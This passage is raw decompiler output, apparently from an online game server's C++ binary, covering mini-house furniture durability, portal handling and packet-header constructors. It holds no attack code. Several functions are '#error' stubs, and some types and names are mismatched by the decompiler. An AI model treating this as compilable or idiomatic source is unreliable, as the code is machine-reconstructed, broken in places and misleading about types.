-1, 0, 9) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(a2, *(_DWORD *)(*(_DWORD *)v3 + 34)); v4 = *(_DWORD *)(v3 + 44); if ( v4 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)a2 + 1004))( a2, *(_DWORD *)(*(_DWORD *)v3 + 34), *(_DWORD *)(v4 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( a2, *(_DWORD *)(*(_DWORD *)v3 + 34), *(_DWORD *)(*(_DWORD *)(v3 + 44) + 43), 1); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); } } //----- (0051C5C0) -------------------------------------------------------- #error "51C5C0: undefined or illegal type '#1265' (funcsize=647)" //----- (0051CFF0) -------------------------------------------------------- #error "51CFF0: undefined or illegal type '#734' (funcsize=429)" //----- (0051D670) -------------------------------------------------------- #error "51D670: undefined or illegal type '#593' (funcsize=453)" //----- (0051DDB0) -------------------------------------------------------- #error "51DDB0: undefined or illegal type '#593' (funcsize=590)" //----- (0051E680) -------------------------------------------------------- #error "51E680: undefined or illegal type '#593' (funcsize=253)" //----- (0051E9F0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle(__int16 FurnitureHandle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle"); return 0; } //----- (0051EA40) -------------------------------------------------------- #error "51EA40: undefined or illegal type '#593' (funcsize=118)" //----- (0051EC00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_LIST_ACK *portal_list_ack) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 unsigned __int16 v3; // ax@1 signed int v4; // edx@1 int v5; // ecx@2 char *v6; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = portal_list_ack->nPortalCnt; v4 = 0; v2->smh_PortalList.nPortalCnt = v3; if ( v3 ) { v5 = (int)&v2->smh_PortalList.Portal[0].dEndTime; v6 = (char *)&portal_list_ack[1].header.charregistnumber; do { *(_WORD *)(v5 - 2) = *((_WORD *)v6 - 1); *(_DWORD *)v5 = *(_DWORD *)v6; ++v4; v6 += 6; v5 += 6; } while ( v4 < v2->smh_PortalList.nPortalCnt ); } ++v2->smh_Info.CanEnter; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList"); } //----- (0051ECB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_AddPortal(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_ADD_ACK *portal_add_ack) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smh_PortalList.nPortalCnt; if ( v3 + 1 <= 50 ) { v2->smh_PortalList.Portal[v3].nPortalItemID = portal_add_ack->nPortalItemID; v2->smh_PortalList.Portal[v2->smh_PortalList.nPortalCnt++].dEndTime = portal_add_ack->dEndDate; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_AddPortal"); } } //----- (0051ED90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_OPEN_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 char v4; // al@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v2->gap0[0] + 276))(v2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 6648; } else { v4 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, _DWORD))(*(_DWORD *)&v2->gap0[0] + 280))( v2, pReq->nPortalItemID); --funcallanalizer.fca_stackpoint; if ( v4 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 4481; } else { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 6649; } } return result; } //----- (0051EEA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalClose(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_CLOSE_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 276))(v2) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 284))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); result = 6656; } return result; } //----- (0051EF80) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 v2; // ax@2 unsigned __int16 v3; // si@4 unsigned __int16 result; // ax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 276))(v1) && (v2 = v1->smh_PortalList.ActivePortalIndex, v2 < 0x32u) && v2 < v1->smh_PortalList.nPortalCnt ) { v3 = v1->smh_PortalList.Portal[v2].nPortalItemID; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); result = v3; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); result = -1; } return result; } //----- (0051F080) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_PortalList.isActivePortal; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"); return v2; } //----- (0051F0F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nPortalItemID) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // ecx@1 char result; // al@2 signed int v5; // eax@3 int v6; // ecx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( nPortalItemID == -1 ) { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); result = 0; } else { v5 = 0; if ( v2->smh_PortalList.nPortalCnt ) { v6 = (int)v2->smh_PortalList.Portal; while ( v5 < 50 ) { if ( *(_WORD *)v6 == nPortalItemID ) { v2->smh_PortalList.ActivePortalIndex = v5; v2->smh_PortalList.isActivePortal = 1; v2->smh_PortalList.PortalDeActiveTime = clockwatch.cw_CurrTick + 600; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); return 1; } ++v5; v6 += 6; if ( v5 >= v2->smh_PortalList.nPortalCnt ) break; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); result = 0; } return result; } //----- (0051F230) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_mh_isEndureGradeDown() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"); return 0; } //----- (0051F280) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_EndureCheckTime.isEndureCheck; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"); return v2; } //----- (0051F2F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // ebp@1 int v3; // edx@1 int v4; // edx@3 unsigned __int16 v5; // ax@3 int v6; // esi@3 signed int v7; // edi@5 int v8; // eax@6 int v9; // ecx@6 int v10; // eax@7 int v11; // eax@11 int v12; // ebp@12 __int16 v13; // si@13 int v14; // edi@13 signed int v15; // eax@14 CIDEB_Element *v16; // esi@23 ShineDateTime *v17; // eax@25 MiniHouseEndure *v18; // eax@28 unsigned __int16 v19; // di@28 MiniHouseEndure *v20; // eax@28 unsigned __int16 v21; // ax@28 unsigned int v22; // eax@29 char *v23; // [sp-8h] [bp-54h]@4 ChargedItemEffectFinger finger; // [sp+Ch] [bp-40h]@14 int nEndureGrade; // [sp+10h] [bp-3Ch]@25 int i; // [sp+14h] [bp-38h]@5 int v27; // [sp+18h] [bp-34h]@3 FunctionEntarance _; // [sp+1Ch] [bp-30h]@1 int ibii; // [sp+20h] [bp-2Ch]@6 int v30; // [sp+24h] [bp-28h]@6 int v31; // [sp+28h] [bp-24h]@9 int v32; // [sp+2Ch] [bp-20h]@9 ItemFurnicherBox *inven; // [sp+30h] [bp-1Ch]@3 ItemFurnicherBox *v34; // [sp+34h] [bp-18h]@3 ItemFurnicherBox *v35; // [sp+38h] [bp-14h]@3 ItemFurnicherBox *v36; // [sp+3Ch] [bp-10h]@3 int v37; // [sp+48h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v1->gap0[0]; v37 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v3 + 148))(v1) ) { inven = &v1->smh_Furniture.FurnitureInven; v34 = &v1->smh_Furniture.AccessoryInven; v35 = &v1->smh_Furniture.TileAllInven; v4 = *(_DWORD *)&v1->gap0[0]; v36 = &v1->smh_Furniture.MiniGameInven; v5 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v4 + 132))(v1); v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v5); v27 = v6; if ( v6 ) { v7 = 0; v1->smh_EndureCheckTime.isEndureCheck = 0; v1->smh_EndureCheckTime.nEndureFurnitureCnt = 0; i = 0; do { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1172))(v6); v9 = (int)*(&inven + v7); ibii = (int)&ItemBoxIterator::_vftable_; v30 = v9; if ( v8 ) v10 = (*(int (__stdcall **)(int))(*(_DWORD *)v9 + 4))(v8); else v10 = (*(int (**)(void))(*(_DWORD *)v9 + 8))(); v32 = v10; ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v37) = 1; v31 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v11 = (**(int (__stdcall ***)(_DWORD))v30)(v31); if ( v11 ) { v12 = *(_DWORD *)(v11 + 112); if ( v12 ) { v13 = *(_WORD *)(v11 + 8); v14 = v11 + 8; if ( v13 != -1 ) { MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v37) = 2; v15 = -1; while ( v15 >= -1 ) { ++v15; finger.cief_Finger = v15; if ( v15 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v15].ce_ItemID == v13 ) goto LABEL_20; } finger.cief_Finger = -10; LABEL_20: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) != minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { if ( finger.cief_Finger >= 0 ) { if ( finger.cief_Finger < minihousefurnituredatabox.cideb_Total ) { v16 = &minihousefurnituredatabox.cideb_Array[finger.cief_Finger]; if ( v16 ) { if ( v16->ce_Data ) { v17 = (ShineDateTime *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v12 + 120))(v12, v14); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure, v17, (MHE_STEP *)&nEndureGrade) ) { if ( nEndureGrade >= 1 ) { if ( nEndureGrade < 4 ) { v18 = MiniHouseEndureDataBox::operator__( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure); v19 = *(&v18->Handle + nEndureGrade); v20 = MiniHouseEndureDataBox::operator__( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure); v21 = v20->Endure[nEndureGrade]; if ( v19 ) { v22 = 36000 * (v19 - v21) + clockwatch.cw_CurrTick + 10; if ( v1->smh_EndureCheckTime.tEndureCheckTime > v22 ) { v1->smh_EndureCheckTime.tEndureCheckTime = v22; v1->smh_EndureCheckTime.isEndureCheck = 1; } } } } } } } } } } LOBYTE(v37) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); v7 = i; v6 = v27; v2 = -1; } ++v7; LOBYTE(v37) = 0; ibii = (int)&ItemBoxIterator::_vftable_; i = v7; } while ( v7 < 4 ); v23 = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; } else { v23 = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; } --funcallanalizer.fca_stackpoint; v37 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); } else { --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); } } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (0051F620) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DoingEndureGradeDown(ShineObjectClass::ShineMiniHouse *this, char *bIsPlaced) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // ebp@1 int v4; // edx@1 char result; // al@2 int v6; // edx@3 unsigned __int16 v7; // ax@3 int v8; // ebx@3 signed int v9; // edi@5 int v10; // eax@6 int v11; // ecx@6 int v12; // eax@7 int v13; // eax@11 int v14; // ebp@11 int v15; // eax@12 __int16 v16; // di@13 signed int v17; // eax@14 CIDEB_Element *v18; // edi@24 int v19; // ebx@26 ShineDateTime *v20; // eax@26 ChargedItemEffectFinger finger; // [sp+10h] [bp-44h]@14 void *pFurniture_iac; // [sp+14h] [bp-40h]@12 int nNextEndureGrade; // [sp+18h] [bp-3Ch]@26 int i; // [sp+1Ch] [bp-38h]@5 int v25; // [sp+20h] [bp-34h]@3 FunctionEntarance _; // [sp+24h] [bp-30h]@1 int ibii; // [sp+28h] [bp-2Ch]@6 int v28; // [sp+2Ch] [bp-28h]@6 int v29; // [sp+30h] [bp-24h]@9 int v30; // [sp+34h] [bp-20h]@9 ItemFurnicherBox *inven; // [sp+38h] [bp-1Ch]@3 ItemFurnicherBox *v32; // [sp+3Ch] [bp-18h]@3 ItemFurnicherBox *v33; // [sp+40h] [bp-14h]@3 ItemFurnicherBox *v34; // [sp+44h] [bp-10h]@3 int v35; // [sp+50h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)&v2->gap0[0]; v35 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v4 + 148))(v2) ) { inven = &v2->smh_Furniture.FurnitureInven; v32 = &v2->smh_Furniture.AccessoryInven; v33 = &v2->smh_Furniture.TileAllInven; v6 = *(_DWORD *)&v2->gap0[0]; v34 = &v2->smh_Furniture.MiniGameInven; v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v6 + 132))(v2); v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); v25 = v8; if ( v8 ) { v9 = 0; v2->smh_EndureCheckTime.isEndureCheck = 0; v2->smh_EndureCheckTime.nEndureFurnitureCnt = 0; i = 0; do { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1172))(v8); v11 = (int)*(&inven + v9); ibii = (int)&ItemBoxIterator::_vftable_; v28 = v11; if ( v10 ) v12 = (*(int (__stdcall **)(int))(*(_DWORD *)v11 + 4))(v10); else v12 = (*(int (**)(void))(*(_DWORD *)v11 + 8))(); v30 = v12; ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v35) = 1; v29 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v13 = (**(int (__stdcall ***)(_DWORD))v28)(v29); v14 = v13; if ( v13 ) { v15 = *(_DWORD *)(v13 + 112); pFurniture_iac = *(void **)(v14 + 112); if ( v15 ) { v16 = *(_WORD *)(v14 + 8); if ( v16 != -1 ) { MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v35) = 2; v17 = -1; while ( v17 >= -1 ) { ++v17; finger.cief_Finger = v17; if ( v17 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v17].ce_ItemID == v16 ) goto LABEL_20; } finger.cief_Finger = -10; LABEL_20: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) == minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } else { if ( finger.cief_Finger >= 0 ) { if ( finger.cief_Finger < minihousefurnituredatabox.cideb_Total ) { v18 = &minihousefurnituredatabox.cideb_Array[finger.cief_Finger]; if ( v18 ) { if ( v18->ce_Data ) { v19 = *(_BYTE *)(v14 + 37); v20 = (ShineDateTime *)(*(int (__stdcall **)(int))(*(_DWORD *)pFurniture_iac + 120))(v14 + 8); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v18->ce_Data->KeepTime_Endure, v20, (MHE_STEP *)&nNextEndureGrade) ) { if ( v19 != nNextEndureGrade ) { (*(void (__stdcall **)(int, int))(*(_DWORD *)pFurniture_iac + 132))( v14, nNextEndureGrade); if ( *(_BYTE *)(v14 + 10) & 1 ) { v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt].isRePair = 0; v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt].nEndureGrade = nNextEndureGrade; v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt++].nFurnitureHnd = *(_WORD *)(v14 + 11); *bIsPlaced = 1; } } } } } } } LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v8 = v25; } } } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); v9 = i; v3 = -1; } ++v9; LOBYTE(v35) = 0; ibii = (int)&ItemBoxIterator::_vftable_; i = v9; } while ( v9 < 4 ); --funcallanalizer.fca_stackpoint; v35 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 1; } else { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 0; } return result; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (0051F980) -------------------------------------------------------- #error "51F980: undefined or illegal type '#593' (funcsize=175)" //----- (0051FBA0) -------------------------------------------------------- #error "51FBA0: undefined or illegal type '#734' (funcsize=373)" //----- (00520170) -------------------------------------------------------- void __thiscall NameString::NameString(NameString *this) { this->ns_point.mask = 127; this->ns_point.value = 0; } //----- (00520190) -------------------------------------------------------- void __thiscall MobTargetAggresiveALL::_MobTargetAggresiveALL(MobTargetAggresiveALL *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::_MobTargetAggresive(&this->baseclass_0); } // 660E60: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (005201A0) -------------------------------------------------------- void *__thiscall MobTargetAggresiveALL::_scalar_deleting_destructor_(MobTargetAggresiveALL *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresiveALL::_MobTargetAggresiveALL(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00520270) -------------------------------------------------------- void __thiscall PacketContainer::pcb_Clear(PacketContainer *this) { this->pc_Pointer = 0; } //----- (00520280) -------------------------------------------------------- void __thiscall BriefInformationCharacter::BriefInformationCharacter(BriefInformationCharacter *this) { BriefInformationCharacter *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bic_pack.pp_PacketLength = 0; this->bic_pack.pp_Buffer = this->bic_array; this->bic_pack.pp_BufferSize = 224; ProtocolPacket::pp_SetPacketLen(&this->bic_pack, 223); v2 = v1->bic_pack.pp_Buffer; v1->bic_nc = (NETCOMMAND *)v1->bic_pack.pp_Buffer; v1->bic_BriefInfo = (PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bic_nc->protocol = v1->bic_nc->protocol & 0xFC06 | 6; v1->bic_BriefInfo->type = 2; v1->bic_BriefInfo->myguild = 0; v1->bic_BriefInfo->isGuildAcademyMember = 0; v1->bic_BriefInfo->DispositionInfo.Disposition = 0; v1->bic_BriefInfo->DispositionInfo.KillCount = 0; v1->bic_BriefInfo->DispositionInfo.KillPoint = 0; v1->bic_BriefInfo->DispositionInfo.ChaosPoint = 0; v1->bic_BriefInfo->DispositionInfo.NeutralTime = 0; } //----- (00520350) -------------------------------------------------------- void __thiscall BriefInformationMob::BriefInformationMob(BriefInformationMob *this) { BriefInformationMob *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bim_pack.pp_PacketLength = 0; this->bim_pack.pp_Buffer = this->bim_array; this->bim_pack.pp_BufferSize = 127; ProtocolPacket::pp_SetPacketLen(&this->bim_pack, 126); v2 = v1->bim_pack.pp_Buffer; v1->bim_nc = (NETCOMMAND *)v1->bim_pack.pp_Buffer; v1->bim_BriefInfo = (PROTO_NC_BRIEFINFO_REGENMOB_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bim_nc->protocol = v1->bim_nc->protocol & 0xFC08 | 8; } //----- (005203B0) -------------------------------------------------------- void __thiscall BriefInformationMiniHouse::BriefInformationMiniHouse(BriefInformationMiniHouse *this) { BriefInformationMiniHouse *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bimh_pack.pp_PacketLength = 0; this->bimh_pack.pp_Buffer = this->bimh_array; this->bimh_pack.pp_BufferSize = 62; ProtocolPacket::pp_SetPacketLen(&this->bimh_pack, 61); v2 = v1->bimh_pack.pp_Buffer; v1->bimh_nc = (NETCOMMAND *)v1->bimh_pack.pp_Buffer; v1->bimh_BriefInfo = 